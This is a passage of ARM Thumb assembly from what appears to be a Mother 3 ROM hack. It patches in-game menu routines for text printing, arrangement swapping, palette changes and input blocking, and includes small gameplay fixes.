r2,#4 bne + mov r0,r2 bl .new_get_menu_character_number //All characters in skills besides the PSI users use 0x10 as a base cmp r0,#2 beq + cmp r0,#4 beq + add r6,#1 + str r6,[sp,#0] lsl r6,r6,#1 sub r6,#2 - add r3,#0x80 ldrh r0,[r3,#0] lsr r2,r0,#5 lsl r1,r2,#5 sub r1,r0,r1 mov r0,r2 ldr r2,[sp,#0] cmp r1,r2 blt + mov r1,#1 orr r0,r1 + mov r1,#1 lsl r1,r0 orr r4,r1 //Set the zone to occupied ldsh r0,[r3,r6] lsr r2,r0,#5 lsl r1,r2,#5 sub r1,r0,r1 mov r0,r2 ldr r2,[sp,#0] cmp r1,r2 blt + mov r1,#1 orr r0,r1 + mov r1,#1 lsl r1,r0 orr r4,r1 //Set the zone to occupied add r5,#1 cmp r5,#8 blt - mov r5,#0 //Now get the free zones mov r3,#0 mov r2,#0 mov r1,#0 - mov r0,#1 lsl r0,r5 and r0,r4 cmp r0,#0 bne + mov r2,r3 mov r3,r5 add r1,#1 + add r5,#1 cmp r5,#0x20 bge + cmp r1,#2 blt - + // r2 and r3 have our numbers ldr r6,=#0x6008000 ldr r1,[sp,#0] mov r5,#1 and r5,r2 sub r2,r2,r5 lsl r2,r2,#5 cmp r5,#1 bne + orr r2,r1 + lsl r2,r2,#5 add r0,r2,r6 mov r5,#1 and r5,r3 sub r3,r3,r5 lsl r3,r3,#5 cmp r5,#1 bne + orr r3,r1 + lsl r3,r3,#5 add r1,r3,r6 ldr r2,=#0x201A288 ldrb r3,[r2,#0] ldr r4,=#.new_get_empty_tiles_limit_values ldrb r2,[r4,r3] cmp r3,#4 bne + mov r4,r0 mov r0,r3 bl .new_get_menu_character_number //All characters in skills besides the PSI users use 0x10 as a base mov r3,r0 mov r0,r4 cmp r3,#2 beq + cmp r3,#4 beq + add r2,#1 + lsl r3,r2,#5 sub r1,r1,r3 .end_new_get_empty_tiles: add sp,#4 pop {r4-r6,pc} //============================================================================================= // This hack negates VRAM printing for a frame //============================================================================================= .negate_printing: ldr r0,=#0x20225D4 //Don't print this frame ldrb r1,[r0,#0] mov r2,#9 neg r2,r2 and r1,r2 strb r1,[r0,#0] bx lr //============================================================================================= // This hack combines all the hacks above. // It moves the arrangements around instead of re-printing everything. // It only prints what needs to be printed. //============================================================================================= .up_down_scrolling_print: push {lr} add sp,#-0xC bl .new_get_empty_tiles str r2,[sp,#8] str r0,[sp,#4] str r1,[sp,#0] bl .new_print_menu_up_down ldr r4,=#0x201AEF8 mov r0,r4 bl $803E908 - mov r0,#1 bl .new_print_vram_container mov r0,r4 bl $803E908 ldr r0,=#0x2013040 //Check for two names with a total of 41+ letters on the same line. ldrb r1,[r0,#2] //Max item name size is 21, so it's possible, but unlikely. ldrb r2,[r0,#3] //At maximum 2 letters must be printed, so it's fast. cmp r1,r2 //Can happen with (pickled veggie plate or jar of yummy pickles or saggittarius bracelet bne - //or mole cricket brother) + bag of big city fries on the same line. add sp,#0xC pop {pc} //============================================================================================= // This hack combines all the hacks above. // It moves the arrangements and the graphics around, then allows re-printing. // It only prints what needs to be printed. //============================================================================================= .move_and_print: push {lr} bl .new_print_menu_up_down pop {pc} //============================================================================================= // This hack combines all the hacks above. // It moves the arrangements around instead of re-printing everything. // It only prints what needs to be printed. // This version takes pre-established free tiles instead of determining them on the fly //============================================================================================= .up_down_scrolling_print_no_get_empty_tiles: push {lr} add sp,#-0xC str r2,[sp,#8] str r0,[sp,#4] str r1,[sp,#0] bl .new_print_menu_up_down ldr r4,=#0x201AEF8 mov r0,r4 bl $803E908 - mov r0,#1 bl .new_print_vram_container mov r0,r4 bl $803E908 ldr r0,=#0x2013040 //Check for two names with a total of 41+ letters on the same line. ldrb r1,[r0,#2] //Max item name size is 21, so it's possible, but unlikely. ldrb r2,[r0,#3] //At maximum 2 letters must be printed, so it's fast. cmp r1,r2 //Can happen with (pickled veggie plate or jar of yummy pickles or saggittarius bracelet bne - //or mole cricket brother) + bag of big city fries on the same line. add sp,#0xC pop {pc} //============================================================================================= // This hack combines all the hacks above. // It moves the arrangements around instead of re-printing everything. // It only prints what needs to be printed. // This version takes pre-established free tiles instead of determining them on the fly //============================================================================================= .pressing_a_scrolling_print_no_get_empty_tiles: push {lr} add sp,#-0xC str r2,[sp,#8] str r0,[sp,#4] str r1,[sp,#0] bl .new_print_menu_a ldr r4,=#0x201AEF8 mov r0,r4 bl $803E908 - mov r0,#1 bl .new_print_vram_container mov r0,r4 bl $803E908 ldr r0,=#0x2013040 //Check for two names with a total of 41+ letters on the same line. ldrb r1,[r0,#2] //Max item name size is 21, so it's possible, but unlikely. ldrb r2,[r0,#3] //At maximum 2 letters must be printed, so it's fast. cmp r1,r2 //Can happen with (pickled veggie plate or jar of yummy pickles or saggittarius bracelet bne - //or mole cricket brother) + bag of big city fries on the same line. add sp,#0xC pop {pc} //============================================================================================= // This hack swaps the arrangements in order to not re-print everything when removing/moving an item //============================================================================================= .new_generic_swap_arrangement: push {r3-r6,lr} mov r4,r0 //This has the selected index before anything was removed/moved. //Using that covers the player selecting the last item and getting //their cursor moved ldr r5,=#0x2016978 bl .get_positions_lines_array mov r6,r0 bl .get_possible_indexes sub r3,r0,#1 cmp r4,r3 //Cover edge case bge + - mov r0,r4 //Swap a single item's arrangement bl .new_handle_selling_swap_arrangement bl .new_general_swap_single_line add r4,#1 cmp r4,r3 blt - + mov r0,r3 bl .new_handle_selling_swap_arrangement bl .new_general_clear_final_line //Clear the last item's arrangement pop {r3-r6,pc} //============================================================================================= // This hack copies an item's arrangements in order to not re-print everything when moving an item //============================================================================================= .new_generic_copy_arrangement: push {r4-r7,lr} mov r4,r0 //This has the selected index before anything was removed/moved. //Using that covers the player selecting the last item and getting //their cursor moved mov r3,r1 //Put in r3 whether to copy from or to the item's arrangement mov r7,r2 //Put in r7 the target ldr r5,=#0x2016978 bl .get_positions_lines_array mov r6,r0 mov r0,r4 //Copies a single item's arrangements from/to r7 mov r1,r3 mov r2,r7 bl .new_general_copy_single_line pop {r4-r7,pc} //============================================================================================= // This hack handles the selling special case //============================================================================================= .new_handle_selling_swap_arrangement: push {lr} ldr r1,=#0x201A288 ldrb r1,[r1,#0] cmp r1,#0xB bne + lsl r0,r0,#1 add r0,#1 + pop {pc} //============================================================================================= // This hack swaps the deposit arrangements in order to not re-print everything when depositing an item. // It also handles the inventory arrangements swapping //============================================================================================= .new_inventory_deposit_swap_arrangement: push {lr} ldr r0,[r0,#0x8] bl .new_generic_swap_arrangement pop {pc} //============================================================================================= // This hack copies one line of inventory's arrangements in order to not re-print everything when moving an item. //============================================================================================= .new_inventory_copy_arrangement: push {lr} ldr r0,[r0,#0x8] bl .new_generic_copy_arrangement pop {pc} //============================================================================================= // This hack swaps the withdraw arrangements in order to not re-print everything when withdrawing an item //============================================================================================= .new_withdraw_swap_arrangement: push {lr} ldr r1,[r0,#4] ldr r0,[r0,#8] sub r0,r0,r1 bl .new_generic_swap_arrangement pop {pc} //============================================================================================= // Hack that stores the flag that puts the arrangement buffer back to VRAM //============================================================================================= .store_arrangements_buffer: push {r0-r5,lr} mov r0,#0x0 //Order printing a blank tile bl $80486A0 //Blank text, get the pointer to it mov r5,#1 neg r5,r5 mov r4,#1 str r4,[sp,#0] //Gray text mov r1,#0 mov r2,#0 mov r3,r5 bl $8047B9C //Order its printing ldr r4,=#0x201AEF8 mov r0,r4 bl $803E908 //Print this to VRAM now! bl $80487D4 mov r0,r4 bl $803E908 pop {r0-r5,pc} //============================================================================================= // Gets the array of the positions for swapping // Order (reversed) is: // Right side's position | Left side's position | Distance between right and lower left | Size //============================================================================================= .positions_swapping_array: dd $10620220; dd $00000000; dd $00000000; dd $00000000 dd $00000000; dd $00000000; dd $00000000; dd $00000000 dd $00000000; dd $00000000; dd $00000000; dd $1080001E dd $00000000; dd $00000000; dd $10620220; dd $0E64021E dd $00000000; dd $00000000; dd $00000000; dd $00000000 dd $00000000; dd $00000000; dd $00000000; dd $00000000 dd $00000000; dd $00000000; dd $00000000; dd $00000000 dd $00000000; dd $00000000; dd $00000000; dd $00000000 .get_positions_lines_array: ldr r1,=#.positions_swapping_array ldr r0,=#0x201A288 ldrb r0,[r0,#0] lsl r0,r0,#2 add r0,r1,r0 bx lr //============================================================================================= // Swaps a single item's arrangement //============================================================================================= .new_general_swap_single_line: push {r3-r4,lr} mov r2,#1 and r2,r0 lsr r0,r0,#1 lsl r0,r0,#7 cmp r2,#0 beq + ldrb r2,[r6,#0] + add r1,r5,r0 add r1,r1,r2 //Get the arrangement address mov r4,r1 cmp r2,#0 bne + ldrb r2,[r6,#0] add r0,r4,r2 //Branch for an item to the left ldrb r2,[r6,#1] add r1,r1,r2 ldrb r2,[r6,#3] swi #0xB add r4,#0x40 ldrb r2,[r6,#0] add r0,r4,r2 ldrb r2,[r6,#1] add r1,r4,r2 ldrb r2,[r6,#3] swi #0xB b .new_general_swap_single_line_end + ldrb r2,[r6,#2] add r0,r4,r2 //Branch for an item to the right ldrb r2,[r6,#3] swi #0xB add r4,#0x40 ldrb r2,[r6,#2] add r0,r4,r2 mov r1,r4 ldrb r2,[r6,#3] swi #0xB .new_general_swap_single_line_end: pop {r3-r4,pc} //============================================================================================= // Copies a single item's arrangement to a given address r2. // r1 controls whether to copy to or copy from r2 //============================================================================================= .new_general_copy_single_line: push {r3-r7,lr} add sp,#-0x10 mov r7,r2 mov r3,#1 and r3,r0 lsr r0,r0,#1 lsl r0,r0,#7 ldrb r2,[r6,#1] cmp r3,#0 beq + ldrb r2,[r6,#0] //Handle the right side differently + add r0,r5,r0 add r0,r0,r2 //Get the arrangement address mov r2,#0x20 //Save the arrangement address and the target/source address on the stack add r5,r7,r2 //This allows using a generic copying routine mov r2,#0x40 add r2,r0,r2 cmp r1,#1 beq + str r0,[sp,#0] str r2,[sp,#4] str r7,[sp,#8] str r5,[sp,#0xC] b .new_general_copy_single_line_start_copy + str r7,[sp,#0] str r5,[sp,#4] str r0,[sp,#8] str r2,[sp,#0xC] .new_general_copy_single_line_start_copy: ldr r0,[sp,#0] ldr r1,[sp,#8] ldrb r2,[r6,#3] swi #0xB ldr r0,[sp,#4] ldr r1,[sp,#0xC] ldrb r2,[r6,#3] swi #0xB add sp,#0x10 pop {r3-r7,pc} //============================================================================================= // Clears the last item's arrangement //============================================================================================= .new_general_clear_final_line: push {r4,lr} mov r2,#1 lsr r0,r0,#1 lsl r0,r0,#7 cmp r2,#0 beq + ldrb r2,[r6,#0] + add r1,r5,r0 add r1,r1,r2 mov r4,r1 mov r0,#0 push {r0} mov r0,sp //Part that clears the top of the last item's arrangement ldr r2,=#0x01000008 swi #0xC add r4,#0x40 mov r0,sp mov r1,r4 //Part that clears the bottom of the last item's arrangement ldr r2,=#0x01000008 swi #0xC pop {r0} pop {r4,pc} //============================================================================================= // Prepares the withdraw inventory for swapping character. Based off of $804C39A. // Removes the part that resets the cursor's position //============================================================================================= .prepare_swap_char_withdraw: push {r4,lr} ldr r2,=#0x2016028 ldr r0,=#0x4260 add r1,r2,r0 mov r3,#0 mov r0,#0xF strb r0,[r1,#0] //Saves the fact that this is the withdrawing menu ldr r0,=#0x2FE0 add r1,r2,r0 ldr r0,=#0x4264 add r2,r2,r0 ldrb r0,[r2,#0] strh r0,[r1,#0xA] //Remove position resetting ldrh r0,[r1,#0xA] bl $8054FE0 mov r4,r0 bl $80524EC mov r0,r4 bl $80531C8 pop {r4,pc} //============================================================================================= // Prepares the buying inventory for swapping character. Based off of $804C254. // Removes the part that resets the cursor's position //============================================================================================= .prepare_swap_char_buying: push {r4-r6,lr} ldr r6,=#0x2016028 ldr r0,=#0x4260 add r1,r6,r0 mov r2,#0 mov r0,#0xA strb r0,[r1,#0] //Saves the fact that this is the buying menu mov r1,#0xBD lsl r1,r1,#6 add r5,r6,r1 ldr r1,=#0x4264 add r0,r6,r1 ldrb r0,[r0,#0] strh r0,[r5,#0xA] //Remove position resetting ldrh r0,[r5,#0xA] bl $8054FE0 mov r4,r0 bl $80524EC mov r0,r4 bl $8052F9C mov r0,#0x85 lsl r0,r0,#7 add r6,r6,r0 ldrh r0,[r6,#0] strh r0,[r5,#2] pop {r4-r6,pc} //============================================================================================= // This hack saves in r1 whether the game is still printing or not //============================================================================================= .check_if_printed: push {r0,lr} ldr r0,=#0x2013040 //Do the thing only IF we're done printing. ldrh r1,[r0,#2] //Prevents issues with arrangements not being there pop {r0,pc} //============================================================================================= // This hack saves in the stack the info used for printing stuff when things are removed/moved //============================================================================================= .store_menu_movement_data: push {r0,lr} bl main_menu_hacks.get_selected_index str r0,[sp,#0x10] bl main_menu_hacks.get_top_index str r0,[sp,#0xC] bl main_menu_hacks.get_total_indexes str r0,[sp,#8] pop {r0,pc} //============================================================================================= // This hack changes the palette for an item's arrangement that is stored in r0 //============================================================================================= .change_palette: push {r1-r5,lr} mov r4,r0 //r4 = r0 = initial address ldr r2,=#0x0FFF //r2 = 0xFFF, used to get the non-palette part ldrh r1,[r0,#0] mov r3,r1 and r1,r2 cmp r1,#0 beq .change_palette_end //If there is no item, stop here mov r1,r3 mov r5,#0xF0 lsl r5,r5,#8 and r5,r1 mov r3,#0 //Get whether this was 0x8XXX or 0x0XXX cmp r5,#0 bne + mov r3,#0x80 lsl r3,r3,#8 + mov r5,r3 //r5 now has either 0x0000 or 0x8000 mov r3,#0 //r3 is a counter used in order to avoid issues - ldrh r1,[r0,#0] and r1,r2 //Pick the non-palette part cmp r1,#0 beq + //If it's 0, proceed to the next step orr r1,r5 //Otherwise, or it with the new palette strh r1,[r0,#0] //and then store it add r0,#2 add r3,#1 //Continue along cmp r3,#0x10 blt - + mov r0,r4 add r0,#0x40 //Get the bottom address. Initial one + 0x40 mov r3,#0 - ldrh r1,[r0,#0] and r1,r2 //Pick the non-palette part cmp r1,#0 beq + //If it's 0, proceed to the next step orr r1,r5 //Otherwise, or it with the new palette strh r1,[r0,#0] //and then store it add r0,#2 add r3,#1 //Continue along cmp r3,#0x10 blt - + .change_palette_end: pop {r1-r5,pc} //============================================================================================= // This hack sets in r0 a bitmask of the currently valid options // It takes r0 as the base address and r1 as the amount to check //============================================================================================= .get_valid_options: push {r4-r6,lr} mov r4,r0 mov r5,r1 mov r6,#0 //Counter mov r0,#0 //Setup starting bitmask cmp r5,#0x20 //In 4 bytes there are only 0x20 bits bgt .get_valid_options_end - mov r2,#0 ldr r1,[r4,#0] lsl r1,r1,#0xA //Check validity cmp r1,#0 bge + mov r2,#1 + lsl r2,r6 orr r0,r2 //Set r6-th bit in bitmask to r2 add r4,#4 add r6,#1 cmp r5,r6 bgt - .get_valid_options_end: pop {r4-r6,pc} //============================================================================================= // This hack properly handles updating the old options for the shop menu //============================================================================================= .update_shop_valid_options: push {r3,lr} sub r3,r1,r2 //r1 contains the old selected index, r2 contains the old top index mov r2,#0x20 sub r2,r2,r3 mov r1,r0 //Discard the bit of the old selected item and re-compact this lsl r1,r2 lsr r1,r2 add r2,r3,#1 lsr r0,r2 lsl r0,r3 orr r0,r1 pop {r3,pc} //============================================================================================= // This hack gets the valid options for the certain menus //============================================================================================= .get_menu_valid_options: push {r2,lr} bl main_menu_hacks.get_added_value_menu_valid ldr r1,=#0x2016028 //Prepare the address add r1,r1,r2 bl main_menu_hacks.get_top_index lsl r0,r0,#2 //Go to the proper first item on the screen add r2,r1,r0 bl main_menu_hacks.get_possible_indexes mov r1,r0 //Set the number of maximum items mov r0,r2 bl main_menu_hacks.get_valid_options pop {r2,pc} //============================================================================================= // This hack changes the palette for the options that changed validity in the shop menus //============================================================================================= .change_shop_options: push {r4-r6,lr} mov r4,r0 //Save in r4 what changed mov r5,r1 //Arrangement start mov r6,#1 //Number to and with bl .get_possible_indexes mov r3,r0 //Number of items in this menu mov r1,#0 //Current index - mov r0,r6 and r0,r4 cmp r0,#0 beq + lsl r0,r1,#7 //If this isn't 0, it changed... add r0,r5,r0 //Prepare the corresponding arrangement address bl main_menu_hacks.change_palette + add r1,#1 lsl r6,r6,#1 //Prepare to check the next bit cmp r1,r3 //There are r3 items displayed top in this menu blt - pop {r4-r6,pc} //============================================================================================= // This hack changes the palette for the options that changed validity in the psi menu //============================================================================================= .change_psi_options: push {r4-r6,lr} mov r4,r0 //Save in r4 what changed mov r5,r1 //Arrangement start mov r6,#1 //Number to and with bl .get_possible_indexes mov r3,r0 //Number of items in this menu mov r1,#0 //Current index - mov r0,r6 and r0,r4 cmp r0,#0 beq .change_psi_options_end_single lsr r0,r1,#1 //If this isn't 0, it changed... lsl r2,r0,#7 mov r0,#1 and r0,r1 cmp r0,#1 bne + mov r0,#0x1C //Handle the right side + add r0,r0,r2 add r0,r5,r0 //Prepare the corresponding arrangement address bl main_menu_hacks.change_palette .change_psi_options_end_single: add r1,#1 lsl r6,r6,#1 //Prepare to check the next bit cmp r1,r3 //There are r3 items displayed top in this menu blt - pop {r4-r6,pc} //============================================================================================= // This hack removes an item and then prints a new one if need be //============================================================================================= .printing_pressed_a: push {r4-r7,lr} mov r7,r0 ldr r1,[r7,#0] bl main_menu_hacks.get_total_indexes cmp r0,r1 //Skip printing if we don't remove an item from the withdrawing menu beq .printing_pressed_a_end bl main_menu_hacks.get_possible_indexes mov r1,r0 bl main_menu_hacks.get_difference_top_total cmp r0,r1 //We'll need the free tiles if we have more than r1 items after the top one blt + bl main_menu_hacks.new_get_empty_tiles mov r4,r0 //We need to get them now and to store them in order to avoid mov r5,r1 //writing to a bunch of tiles that was just freed mov r6,r2 + //Move the items' arrangements around by one mov r0,r7 bl main_menu_hacks.new_withdraw_swap_arrangement bl main_menu_hacks.get_possible_indexes mov r1,r0 bl main_menu_hacks.get_difference_top_total cmp r0,r1 //If this is >= r1, then we need to print new stuff! bge + //If we don't need to print new stuff, just set buffer to be updated and end this here mov r0,#1 b .printing_pressed_a_end_update + ldr r1,[r7,#4] bl main_menu_hacks.get_top_index cmp r0,r1 //Check if the top index changed between the A press and now... beq + //If it did, the menu position was moved up by one. We don't need to print new stuff at the bottom, //but we'll need to print new stuff at the top (the top two new items) and to move everything down //by one line. Luckily, up_down_scrolling_print_no_get_empty_tiles handles it for us. //We'll just need to trick it into thinking the selected_index corresponds to the top one. bl main_menu_hacks.set_selected_index mov r2,r0 mov r0,r4 mov r1,r5 mov r5,r2 //Saves the old selected_index in r5 temporarily mov r2,r6 bl main_menu_hacks.up_down_scrolling_print_no_get_empty_tiles mov r0,r5 //Restores the old selected_index bl main_menu_hacks.set_selected_index b .printing_pressed_a_end + //If it didn't, we need to print one item at the bottom right mov r1,r0 bl main_menu_hacks.get_possible_indexes sub r0,#1 add r0,r1,r0 bl main_menu_hacks.set_selected_index mov r2,r0 mov r0,r4 mov r1,r5 mov r5,r2 //Saves the old selected_index in r5 temporarily mov r2,r6 bl main_menu_hacks.pressing_a_scrolling_print_no_get_empty_tiles mov r0,r5 //Restores the old selected_index bl main_menu_hacks.set_selected_index .printing_pressed_a_end: mov r0,#0 .printing_pressed_a_end_update: pop {r4-r7,pc} //============================================================================================= // This hack calls printing_pressed_a and then updates the greyed out options. Used only by the sell menu //============================================================================================= .printing_pressed_a_update_grey: push {r4-r5,lr} mov r4,r0 bl .printing_pressed_a mov r5,r0 cmp r0,#1 bne + //Store the arrangements buffer if it returned 1 bl .store_arrangements_buffer + ldr r1,[r4,#0] bl .get_total_indexes cmp r1,r0 //Check if the number of items in the menu changed, otherwise do nothing beq .printing_pressed_a_update_grey_end bl .get_menu_valid_options mov r3,r0 ldr r0,[r4,#0xC] ldr r1,[r4,#0x8] ldr r2,[r4,#0x4] bl .update_shop_valid_options mov r2,r0 cmp r5,#0 bne .printing_pressed_a_update_grey_compare ldr r1,[r4,#4] bl .get_top_index sub r0,r0,r1 mov r1,#0x1F cmp r0,#0 //Check if the top index changed between the A press and now... beq + lsl r2,r2,#1 //These are now the bottom options, not the top ones lsl r1,r1,#1 + and r3,r1 //Make it so the bit that isn't in r2 and the one that is in r3 match .printing_pressed_a_update_grey_compare: eor r2,r3 //If the valid options changed, change cmp r2,#0 //the assigned palette for those that changed beq + //and then set the arrangements to be updated mov r0,r2 ldr r1,=#0x2016996 bl main_menu_hacks.change_shop_options + .printing_pressed_a_update_grey_end: pop {r4-r5,pc} //============================================================================================= // This hack fixes 8-letter names on the main file load screen. //============================================================================================= .filechoose_lengthfix: str r3,[sp,#0] // clobbered code // Address in r0. Return the length in r3. push {r0,lr} mov r3,#9 // default value bl check_name // see if it's a custom name cmp r0,#0 beq + mov r3,r0 + pop {r0,pc} //============================================================================================= // This hack fixes the fact that if you lose the first battle Claus won't have any PP left //============================================================================================= claus_pp_fix: .main: push {lr} lsl r0,r0,#0x10 //Character identifier lsr r0,r0,#0x10 cmp r0,#2 //Lucas beq + cmp r0,#4 //Kumatora beq + cmp r0,#0xD //Claus bne .failure + mov r0,#1 //Allow copying PPs b .end .failure: //If it's not one of them, then they should not have PPs mov r0,#0 .end: pop {pc} //============================================================================================= // This set of hacks cleans the writing stack //============================================================================================= refreshes: //============================================================================================= // The main hack that clears the actual writing stack //============================================================================================= .main: push {lr} ldr r1,=#0x2013040 //Address of the stack mov r0,#0 str r0,[r1,#0x0] //Clean the words' lengths so it won't print str r0,[r1,#0x10] str r0,[r1,#0x14] str r0,[r1,#0x18] str r0,[r1,#0x1C] pop {pc} //============================================================================================= // These hacks call the main one to clear the writing stack //============================================================================================= .lr: push {lr} bl .main ldrh r1,[r5,#0xA] //Normal stuff the game expects from us ldr r2,=#0x4264 pop {pc} .b: push {lr} bl .main mov r0,#0xD3 //Normal stuff the game expects from us bl $800399C pop {pc} .inv_spec_a: push {lr} bl .main ldr r1,=#0x426A //Normal stuff the game expects from us add r0,r1,r7 pop {pc} .memo_a: push {lr} bl .main mov r0,r5 //Normal stuff the game expects from us bl $804EEE8 pop {pc} .equip_a: push {lr} bl .main mov r0,r4 //Normal stuff the game expects from us bl $804EB68 pop {pc} .inner_memo_scroll: push {r1,lr} //Let's save r1, since the game needs it bl .main pop {r1} mov r0,r1 //Normal stuff the game expects from us bl $804EF38 pop {pc} .inner_equip_a: push {lr} bl .main ldr r7,=#0x2016028 //Normal stuff the game expects from us ldr r0,=#0x41C6 pop {pc} .switch_lr: push {lr} bl .main ldrh r0,[r4,#4] //Normal stuff the game expects from us bl $8053E98 pop {pc} .status_lr: push {lr} bl .main ldrh r1,[r4,#0xA] //Normal stuff the game expects from us ldr r2,=#0x4264 pop {pc} //============================================================================================= // These hacks call the main one to clear the writing stack and then blank out the tiles. // This makes it so the printing process isn't showed //============================================================================================= .deposit_lr: push {lr} bl .main bl main_menu_hacks.delete_vram bl $804C35C //Normal stuff the game expects from us pop {pc} .psi_select: push {lr} bl .main bl main_menu_hacks.delete_vram mov r0,#0xD2 //Normal stuff the game expects from us bl $800399C pop {pc} .status_a: push {lr} ldr r0,=#0x201A288 ldrb r0,[r0,#0] cmp r0,#4 bne + bl .main bl main_menu_hacks.delete_oam_vram + bl $8046D90 //Normal stuff the game expects from us pop {pc} .skills_b: push {lr} bl .main bl main_menu_hacks.delete_oam_vram mov r0,#0xD3 //Normal stuff the game expects from us bl $800399C pop {pc} //============================================================================================= // This hack blanks out a part of OAM's text tiles. // This makes it so the printing process isn't showed //============================================================================================= .inv_submenu_a: push {lr} ldr r0,=#0x201A288 ldrb r0,[r0,#0] cmp r0,#0 //Make sure we're in the inventory. Double checking never hurts bne + //If we are, clean a subsection of OAM's VRAM bl main_menu_hacks.delete_oam_vram_subsection + bl $804FA5C //Normal stuff the game expects from us pop {pc} //============================================================================================= // This hack calls the main one to clear the writing stack. // It then changes how the withdraw menu swaps character. (Top index and selected item won't change) //============================================================================================= .withdraw_lr: push {lr} bl .main //Don't refresh the withdraw menu when we swap character... bl main_menu_hacks.prepare_swap_char_withdraw pop {pc} //============================================================================================= // This hack calls the main one to clear the writing stack. // It then moves the text up/down and prints only the bottom/top line //============================================================================================= .up_and_down: push {r0-r2,lr} bl .main //bl $8046D90 //Normal stuff the game expects from us bl main_menu_hacks.up_down_scrolling_print pop {r0-r2,pc} //============================================================================================= // This hack calls the main one to clear the writing stack only if the game's done printing. // If the game's done printing, it then moves the text up/down and prints only the bottom/top line //============================================================================================= .up_and_down_battle_memoes: push {lr} add sp,#-4 ldr r0,[sp,#8] str r0,[sp,#0] bl main_menu_hacks.check_if_printed mov r0,#0 //Do the thing only IF we're done printing. cmp r1,#0 //Prevents issues with arrangements not being there bne + mov r0,r5 mov r1,r7 bl $8053598 lsl r0,r0,#0x10 lsr r0,r0,#0x10 cmp r0,#2 bne + push {r0-r2} bl .main bl main_menu_hacks.up_down_scrolling_print ldr r1,=#0xC5AD //Signal printing add r1,r1,r6 ldrb r0,[r1,#0] mov r2,#1 orr r0,r2 strb r0,[r1,#0] pop {r0-r2} mov r0,#1 + add sp,#4 pop {pc} //============================================================================================= // These hacks allow input reading only if the game's done printing. //============================================================================================= .inv_block_a: push {lr} bl main_menu_hacks.check_if_printed cmp r1,#0 //Have we finished printing? beq .inv_block_a_passed //Yes! Then let it do what it wants to do pop {r0} ldr r0,=#0x804CC35 //No! Prevent the game from opening stuff we don't want yet. bx r0 .inv_block_a_passed: ldr r0,=#0x2DFA //Normal stuff the game expects from us add r1,r7,r0 pop {pc} .inv_submenu_block_a: push {lr} bl main_menu_hacks.check_if_printed mov r0,r1 mov r1,#0 //Have we finished printing? cmp r0,#0 bne + ldrh r1,[r4,#0] //Normal input loading + mov r0,#3 pop {pc} .sell_block_input_up_and_down: push {lr} add sp,#-0x8 str r0,[sp,#4] ldr r0,[sp,#0xC] str r0,[sp,#0] //Prepare args for the function mov r2,r1 bl main_menu_hacks.check_if_printed mov r0,#0 //Do this only if it's done printing cmp r1,#0 bne + ldr r0,[sp,#4] mov r1,r2 mov r2,r5 bl $8053598 + add sp,#0x8 pop {pc} .sell_a: push {lr} bl main_menu_hacks.check_if_printed cmp r1,#0 bne + push {r2} //Let's save r2, since the game needs it bl .main pop {r2} mov r0,r2 //Normal stuff the game expects from us bl $804F0D4 + pop {pc} .psi_prevent_input_a_select: push {lr} bl main_menu_hacks.check_if_printed mov r0,r1 ldrh r1,[r7,#0] //Input cmp r0,#0 beq + ldr r0,=#0xFFFA and r1,r0 //Prevent using A and SELECT if the PSI menu isn't fully done printing + cmp r1,#1 //Clobbered code pop {pc} .withdraw_psi_memo_block_input_up_and_down: push {lr} add sp,#-0xC ldr r0,[sp,#0x10] str r0,[sp,#0] ldr r0,[sp,#0x14] str r0,[sp,#4] ldr r0,[sp,#0x18] str r0,[sp,#8] //Prepare args for the function bl main_menu_hacks.check_if_printed mov r0,#0 //Do this only if it's done printing cmp r1,#0 bne + add r0,r5,#4 mov r1,r5 add r1,#8 bl $8053968 + add sp,#0xC pop {pc} .withdraw_block_input_lr: push {lr} add sp,#-4 ldr r0,[sp,#8] str r0,[sp,#0] //Prepare arg for the function bl main_menu_hacks.check_if_printed mov r0,#0 //Do the thing only IF we're done printing. cmp r1,#0 //Prevents issues with arrangements not being there bne + add r0,r4,#4 mov r1,r7 bl $8053754 + add sp,#4 pop {pc} .buy_block_a: push {lr} bl main_menu_hacks.check_if_printed cmp r1,#0 //Prevent confirming buying (it interacts with bne + //the arrangements) unless everything's printed bl $8050008 + pop {pc} .buy_block_up_down: push {lr} add sp,#-4 mov r2,r0 bl main_menu_hacks.check_if_printed mov r0,#0 //Prevent scrolling up or down (it interacts with cmp r1,#0 //the arrangements) unless everything's printed bne + ldr r0,[sp,#8] //Prepare args for the function str r0,[sp,#0] mov r0,r2 mov r2,r5 add r1,r0,#4 bl $8053598 + add sp,#4 pop {pc} .buy_block_lr: push {lr} add sp,#-4 mov r2,r0 bl main_menu_hacks.check_if_printed mov r0,#0 //Prevent changing character (it interacts with cmp r1,#0 //the arrangements) unless everything's printed bne + ldr r0,[sp,#8] //Prepare args for the function str r0,[sp,#0] mov r1,r5 mov r0,r2 mov r2,#0 bl $8053754 + add sp,#4 pop {pc} .equip_block_input_lr: push {lr} add sp,#-4 ldr r0,[sp,#8] str r0,[sp,#0] //Prepare arg for the function bl main_menu_hacks.check_if_printed mov r0,#0 //Do the thing only IF we're done printing. cmp r1,#0 //Prevents issues with arrangements not being there bne + mov r0,r4 add r0,#0xA mov r1,r5 mov r2,#0 bl $8053754 + add sp,#4 pop {pc} .status_block_input_lr: push {lr} add sp,#-4 ldr r0,[sp,#8] str r0,[sp,#0] //Prepare arg for the function bl main_menu_hacks.check_if_printed mov r0,#0 //Do the thing only IF we're done printing. cmp r1,#0 //Prevents issues with arrangements not being there bne + mov r0,r4 add r0,#0xA mov r1,r2 mov r2,#0 bl $8053754 + add sp,#4 pop {pc} //============================================================================================= // This hack updates the inventory. // It then returns both the new inventory size and the one before updating it //============================================================================================= .inv_load_new_old_size: push {lr} add sp,#-4 mov r1,r0 bl main_menu_hacks.get_character_inventory_total_indexes str r0,[sp,#0] //Save old inventory's size mov r0,r1 bl $80524EC //Routine that updates inventory's size bl main_menu_hacks.get_character_inventory_total_indexes ldr r1,[sp,#0] //Put in r0 the new size and in r1 the old one add sp,#4 pop {pc} //============================================================================================= // This hack makes it so if we're in the buying menu, a certain B branch doesn't update the screen. // This happens in the "Equip X?" and "Sell X?" submenus //============================================================================================= .shop_block_b_update: push {lr} ldr r0,=#0x201A288 ldrb r0,[r0,#0] //Load the menu type cmp r0,#0xA //Is this the buying menu? beq + bl $8046D90 //If not, proceed normally + pop {pc} //============================================================================================= // This hack handles using/giving/throwing inventory items in an optimized way by not printing //============================================================================================= .inv_handle_item_movement: push {r4,lr} add sp,#-0x50 mov r4,#0 str r4,[sp,#0xC] //Set this address to a default mov r4,r2 bl main_menu_hacks.store_menu_movement_data bl .inv_load_new_old_size cmp r0,r1 bne + //Did the inventory's size change? //If it did not, check if we should move the item to 